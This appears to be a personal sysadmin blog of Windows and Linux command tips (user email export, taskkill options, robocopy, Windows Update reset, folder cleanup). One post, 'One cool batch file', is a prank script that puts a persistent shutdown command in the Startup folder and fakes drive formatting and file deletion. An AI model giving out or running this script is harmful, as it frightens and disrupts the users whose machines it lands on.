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List of users with their email adresses

Arjan Jorink — Thu, 12 May 2011 09:58:06 +0000

csvde -f yourfile.csv -r "(&(objectCategory=Person)(objectClass=user))" –l "sAMaccountname,mail"

Delete all thumbs.db

Arjan Jorink — Mon, 29 Nov 2010 14:30:27 +0000

Windows creates in every folder with pictures a thumbs.db file.

Linux doesn’t need them, so here is a simple command to get rid of them.

sudo find /home/user -name Thumbs.db -exec rm {} \;

Remove empty directories

Arjan Jorink — Mon, 29 Nov 2010 14:28:20 +0000

To remove empty directories in a directory structure use the following command :

sudo find /begin/here -type d -empty -delete

Taskkill command

Arjan Jorink — Mon, 27 Sep 2010 09:10:38 +0000

taskkill /f /im notepad.exe

Kills the open notepad task, if open.

taskkill [/s Computer] [/u Domain\User [/p Password]]] [/fi FilterName] [/pid ProcessID]|[/im ImageName] [/f][/t]

/s computer

Specifies the name or IP address of a remote computer (do not use backslashes). The default is the local computer.

/u domain\user

Runs the command with the account permissions of the user specified by User or Domain\User. The default is the permissions of the current logged on user on the computer issuing the command.

/p password

Specifies the password of the user account that is specified in the /u parameter.

/fi FilterName

Specifies the types of process(es) to include in or exclude from termination. The following are valid filter names, operators, and values.

Name	Operators *	Value
Hostname	eq, ne	Any valid string.
Status	eq, ne	RUNNING\|NOT RESPONDING
Imagename	eq, ne	Any valid string.
PID	eq, ne, gt, lt, ge, le	Any valid positive integer.
Session	eq, ne, gt, lt, ge, le	Any valid session number.
CPUTime	eq, ne, gt, lt, ge, le	Valid time in the format of hh:mm:ss. The mm and ss parameters should be between 0 and 59 and hh can be any valid unsigned numeric value.
Memusage	eq, ne, gt, lt, ge, le	Any valid integer.
Username	eq, ne	Any valid user name ([Domain\]User).
Services	eq, ne	Any valid string.
Windowtitle	eq, ne	Any valid string.

/pid processID

Specifies the process ID of the process to be terminated.

/im ImageName

Specifies the image name of the process to be terminated. Use the wildcard (*) to specify all image names.

Specifies that process(es) be forcefully terminated. This parameter is ignored for remote processes; all remote processes are forcefully terminated.

Specifies to terminate all child processes along with the parent process, commonly known as a tree kill.

* Operaters are
eq = EQuals
ne =Not Equal
gt = Greater Than
lt = Less Than
ge = Greater than or Equals to
le = Less than or Equals to

Create backup file with date of today

Arjan Jorink — Thu, 24 Jun 2010 14:43:56 +0000

How to create a backup file with the date of today.
Here is an example with STSADM from Sharepoint Services.

stsadm -o backup -filename “\\gl-nas-01\backup$\Sharepoint\GL-SP-01\%date:~-10,3%%date:~-7,3%%date:~-4%.dat” -url http://intranet/sites/home

One cool batch file – ;-D

Arjan Jorink — Fri, 26 Mar 2010 16:59:51 +0000

@echo off
echo shutdown -s -t 5 -c “Windows is shutting down due to an internal error” > C:\close.bat
copy C:\close.bat “C:\documents and settings\all users\start menu\programs\startup\”
cls
echo Maximize this window to continue
echo Wscript.Sleep 4000 > C:\sleep1.vbs
call C:\sleep1.vbs
echo Msgbox”Critical system process failure. Press enter to to begin auto fix.” > c:\error1.vbs
call c:\error1.vbs
echo Formatting c: drive…
echo Wscript.Sleep 2000 > C:\sleep2.vbs
call C:\sleep1.vbs
echo The following files were are infected and should be deleted immediately
call C:\sleep1.vbs
dir /s C:\*.exe
dir C:
call C:\sleep1.vbs
cls
echo Deleting files 36 percent complete
call C:\sleep2.vbs
echo Deleting files 79 percent complete
call C:\sleep2.vbs
echo Deleting files 100 percent complete
call C:\sleep2.vbs
echo Files successfully deleted
call C:\sleep1.vbs
cls
echo All files in the windows registry were also deleted
echo A full reinstall is required to continue using windows
call C:\sleep2.vbs
echo Msgbox”Windows is not responding, shutting down” > c:\error2.vbs
call C:\error2.vbs
call C:\sleep2.vbs
echo Msgbox”Applications will automatically closed, all unsaved data will be lost” > C:\error3.vbs
call C:\error3.vbs
cls
ECHO

ECHO ————————————————————————–
call C:\sleep1.vbs
shutdown -r -t 5

Force the update detection from Automatic Update Client

Arjan Jorink — Mon, 22 Mar 2010 22:53:33 +0000

When deploying a new Windows XP installation your first task is installing the countless Windows updates.
When you wait for Windows XP to check for updates you’ll need a lot of time. To accelerate this process just run the following batch file.

@echo on
net stop wuauserv
REG DELETE “HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update” /v LastWaitTimeout /f
REG DELETE “HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update” /v DetectionStartTime /f
Reg Delete “HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update” /v NextDetectionTime /f
net start wuauserv
wuauclt /detectnow
@echo off
Echo This AU client will now check for updates on the Local WSUS Server.

Copy a directory but only include specific files (extension)

Arjan Jorink — Tue, 09 Mar 2010 15:41:40 +0000

ROBOCOPY C:\Source D:\Destination *.zip *.txt /E

/E = copy subdirectories, including empty ones
/S = copy subdirectories, excluding empty ones

More information about robocopy, click here

Remove empty folders and subfolders

Arjan Jorink — Tue, 09 Mar 2010 10:30:18 +0000

This little batch file scans the directory that was provided as a parameter and all its sub-directories for empty folders and deletes them, including the provided folder itself, if it is empty as well (or became empty after all empty sub-folders were removed).

RemoveEmptySubFolders.bat

@echo off
set Folder=”%~1″
if %Folder%==”" @echo Syntax RemoveEmptySubFolders Folder&goto :EOF
if not exist %Folder% @echo Syntax RemoveEmptySubFolders Folder – %Folder% not found.&goto :EOF
setlocal

REM REMOVE EMPTY SUBFOLDERS

for /f “tokens=*” %%A in (‘dir /ad /s /b %Folder% ^|Sort /Reverse’) do (
rmDir “%%A” 2>NUL
)

REM REMOVE FOLDER, IF EMPTY

rmDir %Folder% 2>NUL
endlocal

Defrag and SDelete on every fixed harddisk

Arjan Jorink — Fri, 05 Mar 2010 08:53:08 +0000

Use this VBS script to run a defrag en SDelete on all your fixed drives from your computer

Set WshShell = WScript.CreateObject(“WScript.Shell”)

Dim fso, d, dc
Set fso = CreateObject(“Scripting.FileSystemObject”)
Set dc = fso.Drives

WshShell.RegWrite “HKCU\Software\Sysinternals\”, 0, “REG_SZ”
WshShell.RegWrite “HKCU\Software\Sysinternals\SDelete\”, 0, “REG_SZ”
WshShell.RegWrite “HKCU\Software\Sysinternals\SDelete\EulaAccepted”, 1, “REG_DWORD”

For Each d in dc
If d.DriveType = 2 Then
Return = WshShell.Run(“sdelete -c ” & d, 1, TRUE)
Return = WshShell.Run(“defrag ” & d & ” -f”, 1, TRUE)’
End If
Next

Set WshShell = Nothing

Be sure that SDelete is located in the same directory as this VBS script.